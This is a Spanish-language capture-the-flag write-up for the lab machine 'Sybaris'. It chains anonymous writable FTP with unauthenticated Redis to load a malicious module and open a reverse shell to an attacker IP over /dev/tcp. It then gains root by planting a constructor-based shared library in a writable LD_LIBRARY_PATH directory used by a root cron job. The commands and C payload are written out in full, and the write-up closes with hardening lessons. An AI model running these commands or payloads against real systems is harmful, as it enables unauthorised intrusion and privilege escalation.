Sybaris
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Sybaris junta dos servicios mal puestos: un FTP anónimo con escritura y un Redis 5.0.9 sin autenticar. Subimos un módulo malicioso por FTP y lo cargamos conMODULE LOAD(RCE en Redis vía módulos), lo que da un comandosystem.execy una shell inversa comopablo. Para escalar, el/etc/crontabejecuta comorootun binario con unLD_LIBRARY_PATHque apunta a un directorio escribible: plantamos ahí una biblioteca con un constructor que pone el bit SUID abash(LD_LIBRARY_PATH hijacking) y abrimos una shellroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:
ping -c 1 192.168.197.93
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.197.93PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
6379/tcp open redisnmap -p21,22,80,6379 -sCV 192.168.197.93 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
6379/tcp open redis Redis key-value store 5.0.9Cuatro servicios: un FTP que permite login anónimo, SSH, un blog HTMLy v2.7.5 sobre CentOS, y un Redis 5.0.9 abierto. La combinación FTP anónimo + Redis sin auth es la que merece la pena mirar primero: si el FTP deja escribir, tenemos dónde dejar un fichero que Redis pueda cargar.
FTP - TCP 21
Entramos como anonymous y, además de listar pub/, comprobamos si podemos subir ficheros:
ftp 192.168.197.93
# Name: anonymous / Password: (vacío)
cd pub
put test230 Login successful.
...
ftp> put test
150 Ok to send data.
226 Transfer complete.
5 bytes sent in 00:00 (0.08 KiB/s)El put funciona: el FTP admite escritura anónima en pub/ (FTP anónimo). Nos falta saber a qué ruta del sistema de ficheros corresponde ese pub/. Una búsqueda rápida confirma que el FTP anónimo en Linux usa /var/ftp (o /var/www/html) como raíz:

Y en concreto, en vsftpd la carpeta pública es /var/ftp/pub:

Así que lo que subimos a pub/ queda en /var/ftp/pub/ en disco, dato que usaremos en cuanto sepamos cargar algo desde Redis.
Redis - TCP 6379
Redis responde sin pedir credenciales. Confirmamos versión y modo:
redis-cli -h 192.168.197.93
192.168.197.93:6379> INFO serverredis_version:5.0.9
redis_mode:standalone
os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64Un Redis sin autenticar es directamente explotable (enumeración de Redis). De los caminos posibles (escribir una clave SSH o una webshell con CONFIG SET dir, abuso de replicación, carga de módulos), el de módulos encaja perfecto aquí: ya tenemos un sitio donde dejar el .so (el FTP anónimo). La técnica está documentada en HackTricks (compilar un módulo, subirlo, MODULE LOAD, system.exec):

Shell como pablo
Redis MODULE LOAD vía FTP anónimo
La técnica: compilar un módulo de Redis que registre un comando para ejecutar órdenes, subirlo por FTP y cargarlo con MODULE LOAD. Buscando por MODULE LOAD damos con un exploit que ya trae el módulo compilado:

Usamos el exp_lin.so del exploit Redis-RCE (módulo ya compilado para la rama 5.x). Lo subimos al pub/ del FTP, que en disco es /var/ftp/pub/:
git clone https://github.com/jas502n/Redis-RCE
ftp 192.168.197.93
# anonymous
cd pub
put exp_lin.soCon el .so ya en el objetivo, lo cargamos desde Redis y probamos el comando system.exec que registra (RCE en Redis vía módulos):
redis-cli -h 192.168.197.93
MODULE LOAD /var/ftp/pub/exp_lin.so
system.exec "id"
192.168.197.93:6379> MODULE LOAD /var/ftp/pub/exp_lin.so
OK
192.168.197.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"Tenemos ejecución como pablo (el usuario del proceso Redis). Lanzamos una shell inversa contra nuestro listener:
Antes de disparar la shell, dejamos Penelope a la escucha en el 80:
penelope 80system.exec "bash -i >& /dev/tcp/192.168.45.196/80 0>&1"
(Penelope)> listeners add -p 80
[+] Got reverse shell from sybaris~192.168.197.93-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
[pablo@sybaris /]$ whoami
pabloEstabilizamos la shell a PTY y leemos la primera prueba:
cat /home/pablo/local.txt && whoami && ip a && hostname
9318a53cbcf57f8787dd754992ceae50Escalada de privilegios
Cron de root con LD_LIBRARY_PATH escribible
Revisando las tareas programadas, el /etc/crontab destaca: define un LD_LIBRARY_PATH propio y ejecuta como root el binario /usr/bin/log-sweeper:
cat /etc/crontab
/usr/bin/log-sweeper
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
* * * * * root /usr/bin/log-sweeper
$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directoryDos detalles encajan: el binario necesita una biblioteca utils.so que no existe, y el LD_LIBRARY_PATH incluye /usr/local/lib/dev, un directorio en el que nuestro usuario puede escribir. linpeas (repo) lo señala igual:

Como el enlazador busca utils.so recorriendo LD_LIBRARY_PATH y ese directorio gana, basta con dejar ahí nuestra utils.so (LD_LIBRARY_PATH hijacking). La compilamos con un constructor que el enlazador ejecuta al cargar la biblioteca; el payload pone el bit SUID a bash:
cat utils.c#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("chmod u+s /bin/bash");
}gcc -shared -o utils.so -fPIC utils.c
mv utils.so /usr/local/lib/dev/Cuando el cron de root vuelve a ejecutar log-sweeper, el enlazador carga nuestra utils.so, corre el constructor como root y aplica el SUID. Lo confirmamos:
ls -l /bin/bash-rwsr-xr-x. 1 root root 964536 Mar 31 2020 /bin/bash/bin/bash ya es SUID root. Con -p la shell conserva el euid=0 (abuso de SUID):
bash -p
whoami
[pablo@sybaris tmp]$ bash -p
bash-4.2# whoami
rootLeemos la prueba final:
cat /root/proof.txt && whoami && ip a && hostname
f5cd59c2f5baa97e3205ca1b3b811409Cadena de ataque
FTP anónimo (21, escritura) + Redis 5.0.9 sin auth (6379)
│ put exp_lin.so -> /var/ftp/pub/exp_lin.so
│ MODULE LOAD /var/ftp/pub/exp_lin.so -> system.exec
▼
shell como pablo (reverse shell, local.txt)
│ cron de root: LD_LIBRARY_PATH -> /usr/local/lib/dev (escribible)
│ utils.so maliciosa (constructor) -> chmod u+s /bin/bash
▼
shell como root (bash -p, proof.txt)Lecciones aprendidas
- Dos servicios débiles se potencian. Un FTP anónimo con escritura no da RCE por sí solo, ni un Redis abierto carga un módulo que no exista en disco; juntos cierran la cadena: el FTP pone el
.sodonde Redis lo carga. - Redis sin autenticar es ejecución de código. Con
MODULE LOADse cargan bibliotecas arbitrarias que registran comandos comosystem.exec. Bindear a127.0.0.1, exigirrequirepass/ACLs y deshabilitarMODULE/CONFIGlo cierra. LD_LIBRARY_PATHen un cron derootes un regalo. El enlazador consulta esa variable antes que las rutas del sistema; si incluye un directorio escribible, controlas qué biblioteca carga el proceso privilegiado. Nunca fijarLD_LIBRARY_PATHen tareas derootapuntando a rutas de usuario.- Un constructor de biblioteca corre antes que
main.__attribute__((constructor))se ejecuta al cargar el.so, así que ni siquiera hace falta que el binario use la función: basta con que lo cargue.